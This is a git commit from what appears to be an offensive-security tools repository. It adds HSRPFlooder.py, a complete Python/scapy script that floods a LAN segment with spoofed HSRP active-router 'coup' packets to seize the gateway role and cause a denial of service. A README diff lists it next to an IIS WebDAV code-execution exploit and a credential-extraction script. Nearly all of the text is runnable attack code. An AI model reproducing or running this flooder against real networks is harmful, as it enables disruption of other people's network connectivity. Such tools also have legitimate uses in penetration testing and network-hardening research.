Added HSRPFlooder.
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Mariusz B
parent
6978c3d405
commit
55a66e85a6
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#!/usr/bin/python
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#
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# Proof-of-concept HSRP Active router Flooder triggering outbound gateway Denial of Service. Not fully tested, not working stabily at the moment.
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#
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# Python requirements:
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# - scapy
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#
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# Mariusz B. / mgeeky, '18, <mb@binary-offensive.com>
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#
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import sys
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import struct
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import string
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import random
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import argparse
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import multiprocessing
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import socket
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import fcntl
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import struct
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try:
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from scapy.all import *
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except ImportError:
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print('[!] Scapy required: pip install scapy')
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sys.exit(1)
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VERSION = '0.1'
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config = {
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'verbose' : False,
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'interface' : None,
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'processors' : 1,
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# HSRP Fields
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'group' : 1,
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'priority' : 255,
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'virtual-ip' : '',
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'source-ip' : '',
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'dest-ip' : '224.0.0.2',
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'auth' : 'cisco\x00\x00\x00',
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}
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stopThreads = False
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#
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# ===============================================
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#
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class Logger:
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@staticmethod
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def _out(x):
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if config['verbose']:
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sys.stdout.write(x + '\n')
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@staticmethod
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def out(x):
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Logger._out('[.] ' + x)
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@staticmethod
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def info(x):
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Logger._out('[?] ' + x)
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@staticmethod
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def err(x):
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sys.stdout.write('[!] ' + x + '\n')
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@staticmethod
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def fail(x):
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Logger._out('[-] ' + x)
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@staticmethod
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def ok(x):
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Logger._out('[+] ' + x)
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def generatePacket():
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ip = IP()
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ip.src = config['source-ip']
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ip.dst = config['dest-ip']
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udp = UDP()
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udp.sport = 1985
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udp.dport = 1985
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hsrp = HSRP()
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hsrp.version = 0
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hsrp.opcode = 1
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hsrp.group = config['group']
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hsrp.priority = config['priority']
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hsrp.virtualIP = config['virtual-ip']
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hsrp.auth = config['auth']
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hsrppacket = ip / udp / hsrp
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return hsrppacket
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def flooder(num):
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Logger.info('Starting task: {}'.format(num))
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while stopThreads != True:
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try:
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p = generatePacket()
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if stopThreads: raise KeyboardInterrupt
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send(p, verbose = config['verbose'], iface = config['interface'])
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except KeyboardInterrupt:
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break
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Logger.info('Stopping task: {}'.format(num))
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def get_ip_address(ifname):
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s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
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return socket.inet_ntoa(fcntl.ioctl(
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s.fileno(),
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0x8915, # SIOCGIFADDR
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struct.pack('256s', ifname[:15])
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)[20:24])
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def parseOptions(argv):
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global config
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print('''
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:: HSRP Flooding / Denial of Service tool
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Floods the interface with Active router Coup HSRP packets.
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Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
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v{}
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'''.format(VERSION))
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parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
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parser.add_argument('-I', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
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parser.add_argument('-s', '--source', metavar='SRC', default='', help='Specify source IP address. By default: own IP')
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parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
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hsrp = parser.add_argument_group('HSRP Fields', 'Specifies contents of interesting HSRP fields in packets to send')
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hsrp.add_argument('-g', '--group', help = 'Group number. Default: 1')
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hsrp.add_argument('-p', '--priority', help = 'Active router priority. Default: 255')
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hsrp.add_argument('-i', '--virtual-ip', dest='virtualip', help = 'Virtual IP of the gateway to spoof.')
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hsrp.add_argument('-a', '--auth', help = 'Authentication string. Default: cisco')
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args = parser.parse_args()
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if not args.interface:
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print('[!] Interface option is mandatory.')
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sys.exit(-1)
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config['verbose'] = args.verbose
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config['interface'] = args.interface
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#config['processors'] = multiprocessing.cpu_count()
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if args.group: config['group'] = args.group
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if args.priority: config['priority'] = args.priority
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if args.virtualip: config['virtual-ip'] = args.virtualip
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if args.auth: config['auth'] = args.auth
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if args.source: config['source-ip'] = args.source
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else: config['source-ip'] = get_ip_address(config['interface'])
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print('Using source IP address: {}'.format(config['source-ip']))
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return args
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def main(argv):
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global stopThreads
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opts = parseOptions(argv)
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if not opts:
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Logger.err('Options parsing failed.')
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return False
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if os.getuid() != 0:
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Logger.err('This program must be run as root.')
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return False
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jobs = []
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for i in range(config['processors']):
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task = multiprocessing.Process(target = flooder, args = (i,))
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jobs.append(task)
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task.daemon = True
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task.start()
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print('[+] Started flooding on dev: {}. Press CTRL-C to stop that.'.format(config['interface']))
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try:
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while jobs:
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jobs = [job for job in jobs if job.is_alive()]
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except KeyboardInterrupt:
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stopThreads = True
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print('\n[>] Stopping...')
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stopThreads = True
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time.sleep(3)
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if __name__ == '__main__':
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main(sys.argv)
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@ -17,6 +17,8 @@ CDP counters :
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- **`host-scanner-via-udp.py`** - Running Hosts scanner leveraging ICMP Destination Unreachable response upon UDP closed port packet. ([gist](https://gist.github.com/mgeeky/eae20db2d3dd4704fc6f04ea233bca9c))
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- **`HSRPFlooder.py`** - Proof of concept _HSRP Coup State: Active_ flooder, trying to provoke Denial of Service within LAN segment due to tunnelling packets to the non-existent gateway that won active-router election. Not working stabily at the moment.
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- **`iis_webdav_upload.py`** - Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's <iis_webdav_upload_asp> implementation). ([gist](https://gist.github.com/mgeeky/ce179cdbe4d8d85979a28c1de61618c2))
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- **`networkConfigurationCredentialsExtract.py`** - Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. ([gist](https://gist.github.com/mgeeky/861a8769a261c7fc09a34b7d2bd1e1a0))
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